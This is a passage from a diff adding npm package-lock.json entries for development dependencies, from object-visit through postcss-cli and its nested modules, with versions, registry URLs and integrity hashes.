"sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", + "integrity": "sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==", + "dev": true, + "dependencies": { + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.assign": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.defaults": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz", + "integrity": "sha512-c/K0mw/F11k4dEUBMW8naXUuBuhxRCfG7W+yFy8EcijU/rSmazOUd1XAEEe6bC0OuXY4HUKjTJv7xbxIMqdxrA==", + "dev": true, + "dependencies": { + "array-each": "^1.0.1", + "array-slice": "^1.0.0", + "for-own": "^1.0.0", + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz", + "integrity": "sha512-3+mAJu2PLfnSVGHwIWubpOFLscJANBKuB/6A4CxBstc4aqwQY0FWcsppuy4jU5GSB95yES5JHSI+33AWuS4k6w==", + "dev": true, + "dependencies": { + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==", + "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.reduce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object.reduce/-/object.reduce-1.0.1.tgz", + "integrity": "sha512-naLhxxpUESbNkRqc35oQ2scZSJueHGQNUfMW/0U37IgN6tE2dgDWg3whf+NEliy3F/QysrO48XKUz/nGPe+AQw==", + "dev": true, + "dependencies": { + "for-own": "^1.0.0", + "make-iterator": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/optionator": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", + "dev": true, + "dependencies": { + "@aashutoshrathi/word-wrap": "^1.2.3", + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ordered-read-streams": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz", + "integrity": "sha512-Z87aSjx3r5c0ZB7bcJqIgIRX5bxR7A4aSzvIbaxd0oTkWBCOoKfuGHiKj60CHVUgg1Phm5yMZzBdt8XqRs73Mw==", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.1" + } + }, + "node_modules/os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", + "integrity": "sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==", + "dev": true, + "dependencies": { + "lcid": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/package-hash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/package-hash/-/package-hash-4.0.0.tgz", + "integrity": "sha512-whdkPIooSu/bASggZ96BWVvZTRMOFxnyUG5PnTSGKoJE2gd5mbVNmR2Nj20QFzxYYgAXpoqC+AiXzl+UMRh7zQ==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.15", + "hasha": "^5.0.0", + "lodash.flattendeep": "^4.4.0", + "release-zalgo": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/param-case": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz", + "integrity": "sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==", + "dev": true, + "dependencies": { + "no-case": "^2.2.0" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-filepath": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz", + "integrity": "sha512-FwdRXKCohSVeXqwtYonZTXtbGJKrn+HNyWDYVcp5yuJlesTwNH4rsmRZ+GrKAPJ5bLpRxESMeS+Rl0VCHRvB2Q==", + "dev": true, + "dependencies": { + "is-absolute": "^1.0.0", + "map-cache": "^0.2.0", + "path-root": "^0.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/parse-json": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", + "integrity": "sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==", + "dev": true, + "dependencies": { + "error-ex": "^1.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/parse-node-version": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parse-node-version/-/parse-node-version-1.0.1.tgz", + "integrity": "sha512-3YHlOa/JgH6Mnpr05jP9eDG254US9ek25LyIxZlDItp2iJtwyaXQb57lBYLdT3MowkUFYEV2XXNAYIPlESvJlA==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/parse-passwd": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz", + "integrity": "sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true + }, + "node_modules/pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", + "integrity": "sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-dirname": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", + "integrity": "sha512-ALzNPpyNq9AqXMBjeymIjFDAkAFH06mHJH/cSBHAgU0s4vfpBn6b2nf8tiRLvagKD8RbTpq2FKTBg7cl9l3c7Q==", + "dev": true + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-root": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz", + "integrity": "sha512-QLcPegTHF11axjfojBIoDygmS2E3Lf+8+jI6wOVmNVenrKSo3mFdSGiIgdSHenczw3wPtlVMQaFVwGmM7BJdtg==", + "dev": true, + "dependencies": { + "path-root-regex": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-root-regex": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz", + "integrity": "sha512-4GlJ6rZDhQZFE0DPVKh0e9jmZ5egZfxTkp7bcRDuPlJXbAwhxcl2dINPUAsjLdejqaLsCeg8axcLjIbvBjN4pQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "dev": true, + "dependencies": { + "isarray": "0.0.1" + } + }, + "node_modules/path-to-regexp/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/pause-stream": { + "version": "0.0.11", + "resolved": "https://registry.npmjs.org/pause-stream/-/pause-stream-0.0.11.tgz", + "integrity": "sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==", + "dev": true, + "dependencies": { + "through": "~2.3" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "dev": true + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==", + "dev": true, + "dependencies": { + "pinkie": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "dev": true, + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkg-dir/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/plugin-error": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-1.0.1.tgz", + "integrity": "sha512-L1zP0dk7vGweZME2i+EeakvUNqSrdiI3F91TwEoYiGrAfUXmVv6fJIq4g82PAXxNsWOp0J7ZqQy/3Szz0ajTxA==", + "dev": true, + "dependencies": { + "ansi-colors": "^1.0.1", + "arr-diff": "^4.0.0", + "arr-union": "^3.1.0", + "extend-shallow": "^3.0.2" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/plugin-error/node_modules/ansi-colors": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz", + "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==", + "dev": true, + "dependencies": { + "ansi-wrap": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/plugin-error/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/plugin-error/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", + "integrity": "sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss": { + "version": "8.4.26", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.26.tgz", + "integrity": "sha512-jrXHFF8iTloAenySjM/ob3gSj7pCu0Ji49hnjqzsgSRa50hkWCKD0HQ+gMNJkW38jBI68MpAAg7ZWwHwX8NMMw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-cli": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-10.1.0.tgz", + "integrity": "sha512-Zu7PLORkE9YwNdvOeOVKPmWghprOtjFQU3srMUGbdz3pHJiFh7yZ4geiZFMkjMfB0mtTFR3h8RemR62rPkbOPA==", + "dev": true, + "dependencies": { + "chokidar": "^3.3.0", + "dependency-graph": "^0.11.0", + "fs-extra": "^11.0.0", + "get-stdin": "^9.0.0", + "globby": "^13.0.0", + "picocolors": "^1.0.0", + "postcss-load-config": "^4.0.0", + "postcss-reporter": "^7.0.0", + "pretty-hrtime": "^1.0.3", + "read-cache": "^1.0.0", + "slash": "^5.0.0", + "yargs": "^17.0.0" + }, + "bin": { + "postcss": "index.js" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-cli/node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/postcss-cli/node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/postcss-cli/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/postcss-cli/node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/postcss-cli/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/postcss-cli/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/postcss-cli/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss-cli/node_modules/globby": { + "version": "13.2.2", + "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz", + "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==", + "dev": true, + "dependencies": { + "dir-glob": "^3.0.1", + "fast-glob": "^3.3.0", + "ignore": "^5.2.4", + "merge2": "^1.4.1", + "slash": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/postcss-cli/node_modules/globby/node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/postcss-cli/node_modules/ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/postcss-cli/node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/postcss-cli/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": 